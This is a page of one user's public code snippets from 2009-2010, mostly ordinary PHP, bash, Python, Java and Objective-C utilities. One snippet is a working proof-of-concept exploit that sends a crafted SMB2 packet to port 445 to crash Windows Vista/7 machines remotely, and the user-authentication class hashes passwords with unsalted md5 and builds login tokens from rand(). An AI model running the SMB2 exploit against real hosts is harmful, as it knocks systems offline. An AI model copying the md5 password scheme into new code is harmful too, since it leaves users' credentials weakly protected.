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Public snipts » hongster's snipts

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∞ Determine the earliest business day, taking business hour into consideration.

<?php
function next_business_date() {
	$min = time();
	
	// Past cut-off time, make it the next day.
	if (date('H', $min) >= '17')
	{
		$min += 86400; // +24 Hours
	}
	
	// If it falls on weekend, make it Monday.
	$day_of_week = date('N', $min);
	if ($day_of_week == '6')
	{
		$min += 172800;
	}
	elseif ($day_of_week == '7')
	{
		$min += 86400;
	}
	
	return strtotime(date('Y-m-d', $min));
}
?>

php

<?php
function next_business_date() {
	$min = time();
	
	// Past cut-off time, make it the next day.
	if (date('H', $min) >= '17')
	{
		$min += 86400; // +24 Hours
	}
	
	// If it falls on weekend, make it Monday.
	$day_of_week = date('N', $min);
	if ($day_of_week == '6')
	{
		$min += 172800;
	}
	elseif ($day_of_week == '7')
	{
		$min += 86400;
	}
	
	return strtotime(date('Y-m-d', $min));
}
?>

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posted by hongster on Mar 07, 2010 at 11:52 a.m. EST

∞ Log errors in diffent folders/files reflecting the application folder structure.

<?php
/**
 * Log PHP's error into separate files. Recommended for use in production site.
 * Should be used in set_error_handler() to handle certain PHP errors (i.e. E_STRICT).
 * @link http://www.php.net/manual/en/function.set-error-handler.php Reference
 */
function errorHandler($errno, $errstr, $errfile=NULL, $errline=NULL, $errcontext=NULL) {
  // Log uncategorized errors
  if (is_null($errfile)) {
    $errfile = 'errors.log';
  }

  // Reconstruct the path
  // define('APP_DIR', '/my/application/')
  // define('LOG_DIR', '/log_dir/')
  // E.g. /my/application/controller/index.php -> /log_dir/controller/index.php
  $pos = strpos($errfile, APP_DIR);
  if ($pos !== FALSE) {
    // Strip off the application directory and attach log directory
    $errfile = LOG_DIR.substr($errfile, $pos + strlen(CMS_ROOT));
  }
  else {
    $errfile = LOG_DIR.$errfile; // E.g. /log_dir/errors.log
  }
  $dir = dirname($errfile);
  // Create dir if necessary
  if (! file_exists($dir)) {
    mkdir($dir, 0775, TRUE);
  }
  
  $logFile = fopen($errfile, 'a');
  fwrite($logFile, date('Y-m-d H:i:s ').$errstr);
  if ($errline) fwrite($logFile, " on line $errline");
  fwrite($logFile, "\n");
  fclose($logFile);
  
  if (PRODUCTION_SITE) // Prevent err msg from being printed out (log errors silently)
    return TRUE;

  return FALSE;
}
?>

php

<?php
/**
 * Log PHP's error into separate files. Recommended for use in production site.
 * Should be used in set_error_handler() to handle certain PHP errors (i.e. E_STRICT).
 * @link http://www.php.net/manual/en/function.set-error-handler.php Reference
 */
function errorHandler($errno, $errstr, $errfile=NULL, $errline=NULL, $errcontext=NULL) {
  // Log uncategorized errors
  if (is_null($errfile)) {
    $errfile = 'errors.log';
  }

  // Reconstruct the path
  // define('APP_DIR', '/my/application/')
  // define('LOG_DIR', '/log_dir/')
  // E.g. /my/application/controller/index.php -> /log_dir/controller/index.php
  $pos = strpos($errfile, APP_DIR);
  if ($pos !== FALSE) {
    // Strip off the application directory and attach log directory
    $errfile = LOG_DIR.substr($errfile, $pos + strlen(CMS_ROOT));
  }
  else {
    $errfile = LOG_DIR.$errfile; // E.g. /log_dir/errors.log
  }
  $dir = dirname($errfile);
  // Create dir if necessary
  if (! file_exists($dir)) {
    mkdir($dir, 0775, TRUE);
  }
  
  $logFile = fopen($errfile, 'a');
  fwrite($logFile, date('Y-m-d H:i:s ').$errstr);
  if ($errline) fwrite($logFile, " on line $errline");
  fwrite($logFile, "\n");
  fclose($logFile);
  
  if (PRODUCTION_SITE) // Prevent err msg from being printed out (log errors silently)
    return TRUE;

  return FALSE;
}
?>

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posted by hongster on Jan 21, 2010 at 2:46 a.m. EST

∞ Android ColorMatrixColorFilter usage example.

ImageView imageView = (ImageView)findViewById(R.id.imageView);
float[] matrix = new float[] {
	0, 0, 0, 0, 0,
	0, 1, 0, 0, 0,
	0, 0, 1, 0, 0,
	0, 0, 0, 1, 0,
};
imageView.setColorFilter(new ColorMatrixColorFilter(matrix));
imageView.invalidate();

java

ImageView imageView = (ImageView)findViewById(R.id.imageView);
float[] matrix = new float[] {
	0, 0, 0, 0, 0,
	0, 1, 0, 0, 0,
	0, 0, 1, 0, 0,
	0, 0, 0, 1, 0,
};
imageView.setColorFilter(new ColorMatrixColorFilter(matrix));
imageView.invalidate();

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posted by hongster on Nov 29, 2009 at 7:09 a.m. EST

∞ Speak volume info for Thinkpad laptop.

hongster@hongster:~$ cat /proc/acpi/ibm/volume 
level:		6
mute:		off
commands:	up, down, mute
commands:	level <level> (<level> is 0-15)

bash

hongster@hongster:~$ cat /proc/acpi/ibm/volume 
level:		6
mute:		off
commands:	up, down, mute
commands:	level <level> (<level> is 0-15)

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posted by hongster on Nov 26, 2009 at 4:59 a.m. EST

∞ Openbox shortcut key binding ThinkVantage button to launch Terminator terminal.

<keybind key="XF86Launch1">
  <action name="Execute">
    <startupnotify>
      <enabled>true</enabled>
      <name>Terminal</name>
    </startupnotify>
    <command>terminator</command>
  </action>
</keybind>

xml

<keybind key="XF86Launch1">
  <action name="Execute">
    <startupnotify>
      <enabled>true</enabled>
      <name>Terminal</name>
    </startupnotify>
    <command>terminator</command>
  </action>
</keybind>

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posted by hongster on Nov 26, 2009 at 4:50 a.m. EST

∞ Read volume level with Python on Thinkpad T60.

#!/usr/bin/env python

import commands, re

path = '/proc/acpi/ibm/volume'
data = commands.getoutput('cat %s' % path)

mute = re.search(r'mute:\s+(\w+)', data).group(1)
if mute == 'on':
	print 'mute'
else:
	print '%s/14' % re.search(r'level:\s+(\d+)', data).group(1)

python

#!/usr/bin/env python

import commands, re

path = '/proc/acpi/ibm/volume'
data = commands.getoutput('cat %s' % path)

mute = re.search(r'mute:\s+(\w+)', data).group(1)
if mute == 'on':
	print 'mute'
else:
	print '%s/14' % re.search(r'level:\s+(\d+)', data).group(1)

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posted by hongster on Nov 26, 2009 at 3:53 a.m. EST

∞ Search file by content (improved)

grep -r 'public static void main(' .

#will do the same thing. In fact, you can also use

grep -rI 'public static void main(' .

#for searching only text files. And if you only want to list the files without the matching content, use

grep -rI –files-without-matches 'public static void main(' .

bash

grep -r 'public static void main(' .

#will do the same thing. In fact, you can also use

grep -rI 'public static void main(' .

#for searching only text files. And if you only want to list the files without the matching content, use

grep -rI –files-without-matches 'public static void main(' .

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posted by hongster on Nov 12, 2009 at 9:34 p.m. EST

∞ Search file by content.
```
find . -type f | xargs grep 'public static void main('
```
```
bash
```
1

Search file by content.
```
find . -type f | xargs grep 'public static void main('
```
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0 comments - tagged in
- bash,
- file,
- find,
- grep,
- linux,
- search
posted by hongster on Nov 11, 2009 at 5:49 a.m. EST

∞ Extracting toll fares from http://www.plus.com.my/miniquery/index.asp.

#!/usr/bin/env python

import urllib, httplib, re, sys
from time import strftime

# Sorted list
tolls = [
'AHT', 'AKH', 'ASS', 'ASU',
'BBR', 'BDR', 'BGS', 'BKB',
'BKH', 'BKM', 'BKR', 'BRG',
'BRT', 'BSP', 'BTR', 'BTS',
'BTT', 'BTU', 'CKJ', 'DMR',
'EBS', 'EBU', 'GCE', 'GPG',
'GRN', 'HKG', 'HSB', 'IPS',
'JBC', 'JLD', 'JLP', 'JRU',
'JSN', 'JTR', 'JWI', 'KBS',
'KDR', 'KJG', 'KKS', 'KLA',
'KLI', 'KPS', 'LBB', 'LKT',
'LMK', 'LNS', 'MAC', 'MBU',
'NLI', 'PDG', 'PDO', 'PGH',
'PHT', 'PLG', 'PLI', 'PPM',
'PSR', 'PTJ', 'RAW', 'SAT',
'SBG', 'SBI', 'SBN', 'SDK',
'SEA', 'SGB', 'SGD', 'SGR',
'SHA', 'SKD', 'SKI', 'SNU',
'SPP', 'SPR', 'SPS', 'SPU',
'STA', 'SWG', 'TGK', 'TGM',
'TJK', 'TPH', 'TPU', 'UPM',
'USJ', 'YPS', 'YPU',
]

# Retrieve session ID
def getCookie():
	http = httplib.HTTPConnection('www.plus.com.my', 80)
	http.request('GET', '/index.asp')
	response = http.getresponse()
	cookie = response.getheader('set-cookie').split(';')[0]
	http.close()
	return cookie

# Get HTML output
def getData(start, end, vclass, cookie):
	headers = {
		'Content-type': 'application/x-www-form-urlencoded',
		'Cookie' : cookie,
	}
	
	http = httplib.HTTPConnection('www.plus.com.my', 80)
	body = urllib.urlencode({'startloc' : start, 'endloc' : end, 'vclass' : vclass})
	http.request('POST', '/miniquery/fare_details.asp', body, headers)
	response = http.getresponse()
	if response.status == 200:
		data = response.read()
		http.close()
		return data

	http.close()
	return False

def process(start, end, f, log):
	try:	
		record = [tolls[start], tolls[end]]
		# Class 1
		data = getData(tolls[start], tolls[end], 1, cookie)
	
		# Err check
		if data is False:
			log.write('%s HTTP error (%s, %s)\n' % (strftime('%Y-%m-%d %I:%M:%S'), tolls[start], tolls[end]))
			log.flush()
			return
	
		record.append(normal.findall(data)[0])
		record.append(offpeak.findall(data)[0])
		record.append(festive.findall(data)[0])
	
		# Class 2 ~ 5
		for vclass in xrange(2, 6):
			data = getData(tolls[start], tolls[end], vclass, cookie)
			if data == False:
				log.write('%s HTTP error (%s, %s)\n' % (strftime('%Y-%m-%d %I:%M:%S'), tolls[start], tolls[end]))
				break
		
			record.append(normal.findall(data)[0])			
	
		record.append(distance.findall(data)[0])
		record = '"' + ('","').join(record) + '"'
		f.write(record + '\n')
		f.flush()
	except Exception: 
		log.write('%s Unknown error (%s, %s)\n' % (strftime('%Y-%m-%d %I:%M:%S'), tolls[start], tolls[end]))
		log.flush()
		return # Make sure extraction continues

# Regrex for grabbing data
normal = re.compile(r'Normal Rates<br></font>\s*RM (\d+\.\d+)')
offpeak = re.compile(r'Off Peak Rates:<br></font> RM (\d+\.\d+)')
festive = re.compile(r'Off Peak Festive Rates:<br></font>RM (\d+\.\d+)')
distance = re.compile(r'Total Distance:<br></font>\s*(\d+(?:\.\d+)?) km')

f = open('data.csv', 'w')
log = open('log.txt', 'w')

cookie = getCookie() # Use this session ID for all request
count = 0 # Count num of request made
for start in xrange(0, len(tolls) - 1):
	for end in xrange(start + 1, len(tolls)):
		count += 1
		print 'Processing %s/7656(%s, %s)' % (count, tolls[start], tolls[end])
		sys.stdout.flush()
		process(start, end, f, log)
        
		# Swap start and end points
		count += 1
		print 'Processing %s/7656(%s, %s)' % (count, tolls[end], tolls[start])
		sys.stdout.flush()
		process(end, start, f, log)
log.close()
f.close()

python

#!/usr/bin/env python

import urllib, httplib, re, sys
from time import strftime

# Sorted list
tolls = [
'AHT', 'AKH', 'ASS', 'ASU',
'BBR', 'BDR', 'BGS', 'BKB',
'BKH', 'BKM', 'BKR', 'BRG',
'BRT', 'BSP', 'BTR', 'BTS',
'BTT', 'BTU', 'CKJ', 'DMR',
'EBS', 'EBU', 'GCE', 'GPG',
'GRN', 'HKG', 'HSB', 'IPS',
'JBC', 'JLD', 'JLP', 'JRU',
'JSN', 'JTR', 'JWI', 'KBS',
'KDR', 'KJG', 'KKS', 'KLA',
'KLI', 'KPS', 'LBB', 'LKT',
'LMK', 'LNS', 'MAC', 'MBU',
'NLI', 'PDG', 'PDO', 'PGH',
'PHT', 'PLG', 'PLI', 'PPM',
'PSR', 'PTJ', 'RAW', 'SAT',
'SBG', 'SBI', 'SBN', 'SDK',
'SEA', 'SGB', 'SGD', 'SGR',
'SHA', 'SKD', 'SKI', 'SNU',
'SPP', 'SPR', 'SPS', 'SPU',
'STA', 'SWG', 'TGK', 'TGM',
'TJK', 'TPH', 'TPU', 'UPM',
'USJ', 'YPS', 'YPU',
]

# Retrieve session ID
def getCookie():
	http = httplib.HTTPConnection('www.plus.com.my', 80)
	http.request('GET', '/index.asp')
	response = http.getresponse()
	cookie = response.getheader('set-cookie').split(';')[0]
	http.close()
	return cookie

# Get HTML output
def getData(start, end, vclass, cookie):
	headers = {
		'Content-type': 'application/x-www-form-urlencoded',
		'Cookie' : cookie,
	}
	
	http = httplib.HTTPConnection('www.plus.com.my', 80)
	body = urllib.urlencode({'startloc' : start, 'endloc' : end, 'vclass' : vclass})
	http.request('POST', '/miniquery/fare_details.asp', body, headers)
	response = http.getresponse()
	if response.status == 200:
		data = response.read()
		http.close()
		return data

	http.close()
	return False

def process(start, end, f, log):
	try:	
		record = [tolls[start], tolls[end]]
		# Class 1
		data = getData(tolls[start], tolls[end], 1, cookie)
	
		# Err check
		if data is False:
			log.write('%s HTTP error (%s, %s)\n' % (strftime('%Y-%m-%d %I:%M:%S'), tolls[start], tolls[end]))
			log.flush()
			return
	
		record.append(normal.findall(data)[0])
		record.append(offpeak.findall(data)[0])
		record.append(festive.findall(data)[0])
	
		# Class 2 ~ 5
		for vclass in xrange(2, 6):
			data = getData(tolls[start], tolls[end], vclass, cookie)
			if data == False:
				log.write('%s HTTP error (%s, %s)\n' % (strftime('%Y-%m-%d %I:%M:%S'), tolls[start], tolls[end]))
				break
		
			record.append(normal.findall(data)[0])			
	
		record.append(distance.findall(data)[0])
		record = '"' + ('","').join(record) + '"'
		f.write(record + '\n')
		f.flush()
	except Exception: 
		log.write('%s Unknown error (%s, %s)\n' % (strftime('%Y-%m-%d %I:%M:%S'), tolls[start], tolls[end]))
		log.flush()
		return # Make sure extraction continues

# Regrex for grabbing data
normal = re.compile(r'Normal Rates<br></font>\s*RM (\d+\.\d+)')
offpeak = re.compile(r'Off Peak Rates:<br></font> RM (\d+\.\d+)')
festive = re.compile(r'Off Peak Festive Rates:<br></font>RM (\d+\.\d+)')
distance = re.compile(r'Total Distance:<br></font>\s*(\d+(?:\.\d+)?) km')

f = open('data.csv', 'w')
log = open('log.txt', 'w')

cookie = getCookie() # Use this session ID for all request
count = 0 # Count num of request made
for start in xrange(0, len(tolls) - 1):
	for end in xrange(start + 1, len(tolls)):
		count += 1
		print 'Processing %s/7656(%s, %s)' % (count, tolls[start], tolls[end])
		sys.stdout.flush()
		process(start, end, f, log)
        
		# Swap start and end points
		count += 1
		print 'Processing %s/7656(%s, %s)' % (count, tolls[end], tolls[start])
		sys.stdout.flush()
		process(end, start, f, log)
log.close()
f.close()

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posted by hongster on Oct 12, 2009 at 1:19 a.m. EDT

∞ Dynamically change URL query string.

<?php
function modifyQuery($url, $query) {
	// Convert query string to array
	if (! is_array($query)) {
		parse_str($query, $query);
	}
	
	// Extract the components in a url string
	$components = parse_url($url);
	
	if (! isset($components['query'])) {
		$components['query'] = '';
	}
	parse_str($components['query'], $components['query']);
	
	// Combine the queries
	$components['query'] = array_merge($components['query'], $query);
	
	// Put the components together
	$url = isset($components['host']) 
		? "{$components['scheme']}://{$components['host']}"
		: '/';
	$url .= isset($components['path']) ? $components['path'] : '/';
	$url .= empty($components['query']) ? '' : '?'.http_build_query($components['query']);
	$url .= isset($components['fragment']) ? "#{$components['fragment']}" : '';
	
	return $url;
}
?>

php

<?php
function modifyQuery($url, $query) {
	// Convert query string to array
	if (! is_array($query)) {
		parse_str($query, $query);
	}
	
	// Extract the components in a url string
	$components = parse_url($url);
	
	if (! isset($components['query'])) {
		$components['query'] = '';
	}
	parse_str($components['query'], $components['query']);
	
	// Combine the queries
	$components['query'] = array_merge($components['query'], $query);
	
	// Put the components together
	$url = isset($components['host']) 
		? "{$components['scheme']}://{$components['host']}"
		: '/';
	$url .= isset($components['path']) ? $components['path'] : '/';
	$url .= empty($components['query']) ? '' : '?'.http_build_query($components['query']);
	$url .= isset($components['fragment']) ? "#{$components['fragment']}" : '';
	
	return $url;
}
?>

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posted by hongster on Sep 28, 2009 at 10:56 p.m. EDT

∞ Proof of concept of remote BSOD on Window Vista/7.

#!/usr/bin/python
# When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field it dies with a
# PAGE_FAULT_IN_NONPAGED_AREA from socket import socket
# Src: http://seclists.org/fulldisclosure/2009/Sep/0039.html

from socket import socket

host = ("IP_ADDRESS_HERE", 445)
buff = (
"\x00\x00\x00\x90" # Begin SMB header: Session message
"\xff\x53\x4d\x42" # Server Component: SMB
"\x72\x00\x00\x00" # Negociate Protocol
"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
"\x00\x26"# Process ID High: --> :) normal value should be "\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
"\x30\x30\x32\x00"
)

s = socket()
s.connect(host)
s.send(buff)
s.close()

python

#!/usr/bin/python
# When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field it dies with a
# PAGE_FAULT_IN_NONPAGED_AREA from socket import socket
# Src: http://seclists.org/fulldisclosure/2009/Sep/0039.html

from socket import socket

host = ("IP_ADDRESS_HERE", 445)
buff = (
"\x00\x00\x00\x90" # Begin SMB header: Session message
"\xff\x53\x4d\x42" # Server Component: SMB
"\x72\x00\x00\x00" # Negociate Protocol
"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
"\x00\x26"# Process ID High: --> :) normal value should be "\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
"\x30\x30\x32\x00"
)

s = socket()
s.connect(host)
s.send(buff)
s.close()

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posted by hongster on Sep 14, 2009 at 4:18 a.m. EDT

∞ Correct permission and owenership recursively.

#!/bin/bash

find $1 -exec chown ahhong:www-data {} \;
find $1 -type d -exec chmod 775 {} \;
find $1 -type f -exec chmod 664 {} \;

bash

#!/bin/bash

find $1 -exec chown ahhong:www-data {} \;
find $1 -type d -exec chmod 775 {} \;
find $1 -type f -exec chmod 664 {} \;

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1 comment - tagged in

posted by hongster on Aug 06, 2009 at 12:50 p.m. EDT

∞ User authentication class.

<?php defined('SYSPATH') or die('No direct script access.');

class Auth_Core {
	const REMEMBER_PERIOD = 1209600; // 2 weeks
	
	/*
		If session is set, check last_login. If last_login is > 5 min ago,
		update the database+cookie.
		If no session, and has remember_code(from cookie), verify
		remember_code. If remember_code is valid, login the user. If 
		remember_code is invalid, preform logout.
	*/
	public static function auto_login() {
		$session = Session::instance();
	
		$id = $session->get('id');
		$remember_code = cookie::get('remember_code', FALSE);
		if ($id) { // Has logged in
			// Update DB every 5 or more minutes
			if ((time() - $session->get('last_login', 0)) > 300) {
				$user = ORM::factory('user', $id);
				if ($user->loaded) {
					self::force_login($user, $remember_code != FALSE);
				}
			}
			
			return; // Impt
		}
		
		// Session expired, but cookie remind us to continue login status
		if ($remember_code) {
			$user = ORM::factory('user')
				->where('remember_code', $remember_code)
				->find();
			if ($user->loaded) { // Valid code
				// Is remember period expired?
				if ((time() - strtotime($user->last_login)) 
						< self::REMEMBER_PERIOD) {
					self::force_login($user, TRUE);
					return; // Impt
				}
			}
			
			// Invalid code or REMEMBER_PERIOD has passed
			self::logout();
		}
	}
	
	/*
		Determine if user is logged in.
		@return boolean
	*/
	public static function is_login() {
		$is_login = Session::instance()->get('id', FALSE);
		return ($is_login != FALSE);
	}
	
	/*
		Force login without authentication.
		@param User_Model $user
		@param boolean $remember Keep login status for 2 week. Default FALSE.
	*/
	private static function force_login($user, $remember=FALSE) {
		$last_login = time();
		
		$session = Session::instance();
		$session->set('id', $user->id);
		$session->set('last_login',time());
		
		$user->last_login = date('Y-m-d H:i:s', $last_login);
		
		if ($remember) {
			// Gen remember_code
			$user->remember_code = self::_rand_code();
			// Set cookie
			cookie::set(
				'remember_code', 
				$user->remember_code, 
				self::REMEMBER_PERIOD);
		}
		else {
			$user->remember_code = '';
			cookie::delete('remember_code');
		}
		
		$user->save();
	}
	
	/*
		Login and create session.
		@param string $username
		@param string $password
		@param boolean $remember Keep login status for 2 week. Default FALSE.
		@return boolean True, if login successful. False, otherwise.
	*/
	public static function login($username, $password, $remember=FALSE) {
		$user = ORM::factory('user')
			->where(array('username'=>$username, 'password'=>md5($password)))
			->find();
			
		if ($user->loaded) {
			self::force_login($user, $remember);
			return TRUE;
		}
		
		return FALSE;
	}
	
	/*
		Logout and destroy session.
	*/
	public static function logout() {
		$session = Session::instance();
						
		$id = $session->get('id');
		if ($id) {
			$user = ORM::factory('user', $id);
			var_dump($user);
			if ($user->loaded) {
				$user->last_login = date('Y-m-d H:i:s', time());
				$user->remember_code = '';
				$user->save();
			}
		}
		
		$session->destroy();
		cookie::delete('remember_code');
	}
	
	/*
		Generate random alphanumeric code. [a-zA-Z0-9]
		@param $length Length of code. Default 16.
		@return string Random alphanumeric code.
	*/
	private static function _rand_code($length=16) {

		$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890';

		$code = '';

		for (;$length>0;$length--) {

			$code .= $chars[rand(0, 62)];

		}

		

		return $code;

	}
}

?>

php

<?php defined('SYSPATH') or die('No direct script access.');

class Auth_Core {
	const REMEMBER_PERIOD = 1209600; // 2 weeks
	
	/*
		If session is set, check last_login. If last_login is > 5 min ago,
		update the database+cookie.
		If no session, and has remember_code(from cookie), verify
		remember_code. If remember_code is valid, login the user. If 
		remember_code is invalid, preform logout.
	*/
	public static function auto_login() {
		$session = Session::instance();
	
		$id = $session->get('id');
		$remember_code = cookie::get('remember_code', FALSE);
		if ($id) { // Has logged in
			// Update DB every 5 or more minutes
			if ((time() - $session->get('last_login', 0)) > 300) {
				$user = ORM::factory('user', $id);
				if ($user->loaded) {
					self::force_login($user, $remember_code != FALSE);
				}
			}
			
			return; // Impt
		}
		
		// Session expired, but cookie remind us to continue login status
		if ($remember_code) {
			$user = ORM::factory('user')
				->where('remember_code', $remember_code)
				->find();
			if ($user->loaded) { // Valid code
				// Is remember period expired?
				if ((time() - strtotime($user->last_login)) 
						< self::REMEMBER_PERIOD) {
					self::force_login($user, TRUE);
					return; // Impt
				}
			}
			
			// Invalid code or REMEMBER_PERIOD has passed
			self::logout();
		}
	}
	
	/*
		Determine if user is logged in.
		@return boolean
	*/
	public static function is_login() {
		$is_login = Session::instance()->get('id', FALSE);
		return ($is_login != FALSE);
	}
	
	/*
		Force login without authentication.
		@param User_Model $user
		@param boolean $remember Keep login status for 2 week. Default FALSE.
	*/
	private static function force_login($user, $remember=FALSE) {
		$last_login = time();
		
		$session = Session::instance();
		$session->set('id', $user->id);
		$session->set('last_login',time());
		
		$user->last_login = date('Y-m-d H:i:s', $last_login);
		
		if ($remember) {
			// Gen remember_code
			$user->remember_code = self::_rand_code();
			// Set cookie
			cookie::set(
				'remember_code', 
				$user->remember_code, 
				self::REMEMBER_PERIOD);
		}
		else {
			$user->remember_code = '';
			cookie::delete('remember_code');
		}
		
		$user->save();
	}
	
	/*
		Login and create session.
		@param string $username
		@param string $password
		@param boolean $remember Keep login status for 2 week. Default FALSE.
		@return boolean True, if login successful. False, otherwise.
	*/
	public static function login($username, $password, $remember=FALSE) {
		$user = ORM::factory('user')
			->where(array('username'=>$username, 'password'=>md5($password)))
			->find();
			
		if ($user->loaded) {
			self::force_login($user, $remember);
			return TRUE;
		}
		
		return FALSE;
	}
	
	/*
		Logout and destroy session.
	*/
	public static function logout() {
		$session = Session::instance();
						
		$id = $session->get('id');
		if ($id) {
			$user = ORM::factory('user', $id);
			var_dump($user);
			if ($user->loaded) {
				$user->last_login = date('Y-m-d H:i:s', time());
				$user->remember_code = '';
				$user->save();
			}
		}
		
		$session->destroy();
		cookie::delete('remember_code');
	}
	
	/*
		Generate random alphanumeric code. [a-zA-Z0-9]
		@param $length Length of code. Default 16.
		@return string Random alphanumeric code.
	*/
	private static function _rand_code($length=16) {

		$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890';

		$code = '';

		for (;$length>0;$length--) {

			$code .= $chars[rand(0, 62)];

		}

		

		return $code;

	}
}

?>

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0 comments - tagged in

posted by hongster on Aug 02, 2009 at 2:39 a.m. EDT

∞ Calculate age.

<?php
function age($dob) {
	$age = date('Y') - date('Y', $dob);
	if(date('md') - date('md', $dob) < 0) {
		return --$age;
	}

	return $age;
}
?>

php

<?php
function age($dob) {
	$age = date('Y') - date('Y', $dob);
	if(date('md') - date('md', $dob) < 0) {
		return --$age;
	}

	return $age;
}
?>

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0 comments - tagged in

posted by hongster on Jul 26, 2009 at 10:19 p.m. EDT

∞ Underscore to camelcase.

<?php
function underscore2Camelcase($str) {
  // Split string in words.
  $words = explode('_', strtolower($str));

  $return = '';
  foreach ($words as $word) {
    $return .= ucfirst(trim($word));
  }

  return $return;
}
?>

php

<?php
function underscore2Camelcase($str) {
  // Split string in words.
  $words = explode('_', strtolower($str));

  $return = '';
  foreach ($words as $word) {
    $return .= ucfirst(trim($word));
  }

  return $return;
}
?>

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2 comments - tagged in

posted by hongster on Jul 26, 2009 at 10:17 p.m. EDT

∞ Singapore NIRC checksum.

def sgChecksum(uin):
    uin = uin.upper()
    if not re.match('^[FGST]\d{7}[A-Z]$', uin):
	return False

    weight = [2, 7, 6, 5, 4, 3, 2]
    st = ['J', 'Z', 'I', 'H', 'G', 'F', 'E', 'D', 'C', 'B', 'A']
    fg = ['X', 'W', 'U', 'T', 'R', 'Q', 'P', 'N', 'M', 'L', 'K']

    sum = 0
    for i in xrange(7):
	sum += weight[i] * int(uin[i+1])

    if uin[0]=='F':
	sum %= 11
	if not uin[8]==fg[sum]:
	    return False
    elif uin[0]=='G':
	sum = (sum + 4) % 11
	if not uin[8]==fg[sum]:
	    return False
    elif uin[0]=='S':
	sum %= 11
	if not uin[8]==st[sum]:
	    return False
    elif uin[0]=='T':
	sum = (sum + 4) % 11
	if not uin[8]==st[sum]:
	    return False

    return True

python

def sgChecksum(uin):
    uin = uin.upper()
    if not re.match('^[FGST]\d{7}[A-Z]$', uin):
	return False

    weight = [2, 7, 6, 5, 4, 3, 2]
    st = ['J', 'Z', 'I', 'H', 'G', 'F', 'E', 'D', 'C', 'B', 'A']
    fg = ['X', 'W', 'U', 'T', 'R', 'Q', 'P', 'N', 'M', 'L', 'K']

    sum = 0
    for i in xrange(7):
	sum += weight[i] * int(uin[i+1])

    if uin[0]=='F':
	sum %= 11
	if not uin[8]==fg[sum]:
	    return False
    elif uin[0]=='G':
	sum = (sum + 4) % 11
	if not uin[8]==fg[sum]:
	    return False
    elif uin[0]=='S':
	sum %= 11
	if not uin[8]==st[sum]:
	    return False
    elif uin[0]=='T':
	sum = (sum + 4) % 11
	if not uin[8]==st[sum]:
	    return False

    return True

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0 comments - tagged in

posted by hongster on Jul 26, 2009 at 10:15 p.m. EDT

∞ Convert input to MySQL datetime.
```
<?php
date('Y-m-d H:i:s', strtotime($_POST['birthday']));
?>
```
```
php
```
1

Convert input to MySQL datetime.
```
<?php
date('Y-m-d H:i:s', strtotime($_POST['birthday']));
?>
```
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0 comments - tagged in
- date,
- datetime,
- mysql,
- php,
- strtotime
posted by hongster on Jul 26, 2009 at 10:10 p.m. EDT
∞ Union of multiple arrays.
```
<?php
$union = array_unique(array_merge($arr1, $arr2, $arr3));
?>
```
```
php
```
1

Union of multiple arrays.
```
<?php
$union = array_unique(array_merge($arr1, $arr2, $arr3));
?>
```
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0 comments - tagged in
- array,
- array_merge,
- array_unique,
- php,
- union
posted by hongster on Jul 26, 2009 at 10:07 p.m. EDT

∞ Invoke inspectView.

- (void)viewDidAppear:(BOOL)animated {
	[super viewDidAppear:animated];
	[self inspectView:self.viewControllers level:@""];
}

objective-c

- (void)viewDidAppear:(BOOL)animated {
	[super viewDidAppear:animated];
	[self inspectView:self.viewControllers level:@""];
}

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0 comments - tagged in

posted by hongster on Jul 25, 2009 at 1:13 p.m. EDT

∞ Inspect view hierarchy.

-(void)inspectView:(UIView *)aView level:(NSString *)level {
	NSLog(@"Level:%@", level);
	NSLog(@"View:%@", aView);

	NSArray *arr = [aView subviews];
	for (int i=0;i<[arr count];i++) {
		[self inspectView:[arr objectAtIndex:i]
		  level:[NSString stringWithFormat:@"%@/%d", level, i]];
	}
}

objective-c

-(void)inspectView:(UIView *)aView level:(NSString *)level {
	NSLog(@"Level:%@", level);
	NSLog(@"View:%@", aView);

	NSArray *arr = [aView subviews];
	for (int i=0;i<[arr count];i++) {
		[self inspectView:[arr objectAtIndex:i]
		  level:[NSString stringWithFormat:@"%@/%d", level, i]];
	}
}

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posted by hongster on Jul 25, 2009 at 1:06 p.m. EDT

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